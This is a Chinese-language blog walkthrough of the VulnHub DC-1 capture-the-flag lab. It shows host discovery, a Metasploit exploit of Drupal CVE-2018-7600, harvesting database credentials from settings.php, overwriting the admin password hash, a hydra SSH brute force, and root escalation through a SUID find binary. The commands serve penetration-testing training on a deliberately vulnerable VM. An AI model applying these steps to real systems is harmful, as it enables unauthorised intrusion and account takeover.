DC-1
靶场下载地址:https://download.vulnhub.com/dc/DC-1.zip
安装方法自行百度
扫描一下存活靶机,内网可以使用netdiscover或者arp-scan都可以
两种方法
第一种:
netdiscover -r 10.0.2.1/24
第二种:
arp-scan -l
第二种速度相对快一点
很明显12是我的靶机,测试过程省略。nmap扫描信息,
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 04:09 EST
Nmap scan report for 10.0.2.12
Host is up (0.00015s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:88:22:60 (Oracle VirtualBox virtual NIC)
扫描信息显示三个端口开启,首先80端口开启http服务,可以访问查看。
登录框,弱口令,万能密码,尝试失败,
但是发现了这个,它是Drupal搭建的CMS框架,所以可以收集一下该CMS的目录,
看robots.txt
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html
User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
同时nikto扫描也得到好多信息
这些都在robots.txt,看到一个UPGRADE.txt,应该是升级提醒什么的(瞎猜)
现在是6的版本,提醒升级到7,看过大师傅博客,了解到这个是一个cve
getshell的漏洞(CVE-2018-7600)而且在metasploit中有集成的模块
搜索一下
search drupal
使用第四个就可以。
设置攻击地址,直接exploit就可以了。
然后就getshell
当前用户是www-data,看到了第一个flag
第一个flag内容是每一个好的CMS需要config文件
Every good CMS needs a config file - and so do you.
美化命令行
python -c “import pty;pty.spawn(‘/bin/bash’)”
(PS:看着舒服多了233333)
Drupal的默认配置文件为 /var/www/sites/default/settings.php
首先看到了flag2
然后就是看数据库的用户名和密码
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
连接一下
mysql -h localhost -u dbuser -p
查看user表的内容,注意Drupal框架默认的用户表就是users表。
这个密码,之前的drupal常用密码加密是MD5加密的,可是7.0版本以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以爆破出来很多MD5值,所以Drupal 7的版本已新型加密方法是“加了盐(Salt)”的MD5码,就是平常说的加盐,这种加密不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。
这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。
这种的要破解是很费劲的,几乎不可能。
这是一种方法,直接使用password-hash.sh来改密码
这个是使用它的办法将我们想改的密码,经过同样的加密,然后就替换user表中的admin用户的密码值就可以了。
然后再次进入到mysql中,替换为$S$DAa3ohGdWz0EX./Gfj4jVg3bqM571O9XclCrwZxYu9qhuVqqOlHm
mysql -h localhost -u dbuser -p
Enter password: R0ck3t
update users set pass='$S$DAa3ohGdWz0EX./Gfj4jVg3bqM571O9XclCrwZxYu9qhuVqqOlHm' where name='admin';
登录成功
浏览网站,找到flag3
提示find+exec,提权,emmm,先往下
查看一下passwd,发现了 flag4所在,尝试爆破密码
然后去home找flag4,
需要提权了
还可以尝试爆破一下flag4的密码
找个强一点的字典,跑下密码,使用hydra爆破
hydra -l flag4 -P /root/Desktop/password.txt ssh://10.0.2.12
ssh连接
成功连接,但不是root权限,所以还是需要提权,flag3提示的find+exec进行提权
find命令,与提权相关的知识附加一下
find实例
#找当前目录下所有的txt文件
flag4@DC-1:~$ find -name '*.txt'
./flag4.txt
#在root目录下查找大于50m小于100m的文件
flag4@DC-1:~$ find / -size +50M -size -100M -type f
/sys/devices/pci0000:00/0000:00:02.0/resource0
/sys/devices/pci0000:00/0000:00:02.0/resource0_wc
find: `/proc/3868/task/3868/fd/5': No such file or directory
find: `/proc/3868/task/3868/fdinfo/5': No such file or directory
find: `/proc/3868/fd/5': No such file or directory
find: `/proc/3868/fdinfo/5': No such file or directory
#查找十分钟内读取过的文件
flag4@DC-1:~$ find / -amin 10 -type f
find: `/proc/3876/task/3876/fd/5': No such file or directory
find: `/proc/3876/task/3876/fdinfo/5': No such file or directory
find: `/proc/3876/fd/5': No such file or directory
find: `/proc/3876/fdinfo/5': No such file or directory
#找出当前目录下权限为777的文件或目录并排序
flag4@DC-1:/$ find -perm -777 -type f | sort
find: `./proc/3917/task/3917/fd/5': No such file or directory
find: `./proc/3917/task/3917/fdinfo/5': No such file or directory
find: `./proc/3917/fd/5': No such file or directory
find: `./proc/3917/fdinfo/5': No such file or directory
#查看所有txt的文件
┌──(root💀kali)-[~/Desktop]
└─# find . -type f -name "*.txt"
./1.txt
./3.txt
./2.txt
#查找所有txt文件,把他们合并到一起
┌──(root💀kali)-[~/Desktop]
└─# find . -type f -name "*.txt" -exec cat {} \;> all.txt
┌──(root💀kali)-[~/Desktop]
└─# ls
1.txt 2.txt 3.txt all.txt
┌──(root💀kali)-[~/Desktop]
└─# cat all.txt
ls
cat
more
ls -a
whoami
echo "i am m0re"
echo "lalala"
ls
ls
ls
clear
clear
clear
clear
clear
clear
clear
clear
whoami
whoami
whoami
whoami
whoami
whoami
whoami
whoami
#创建一个test.sh的脚本文件
┌──(root💀kali)-[~/Desktop]
└─# find 1.txt -exec ./test.sh {} \;
1.txt 2.txt 3.txt all.txt test.sh
ls
cat
more
ls -a
whoami
echo "i am m0re"
echo "lalala"
使用find命令进行提权
#使用find命令查看拥有suid权限的文件
┌──(root💀kali)-[~/Desktop]
└─# find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/sbin/mount.cifs
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_nrf_51822
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/pkexec
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/kismet_cap_linux_wifi
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/mount
/usr/bin/chsh
/usr/bin/su
/usr/bin/bwrap
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/passwd
/usr/libexec/polkit-agent-helper-1
#使用exec查看当前用户
┌──(root💀kali)-[~/Desktop]
└─# find 1.txt -exec "whoami" \; 1 ⨯
root
find的文件,必须是可以找到的文件名,不然会出错,可以看到是root权限
提权
flag4.txt文件是有suid权限的。
可以在root目录下找到thefinalflag.txt
# cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
第一个实验到此结束。
- 本文链接:https://m0re.top/posts/361a793a/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances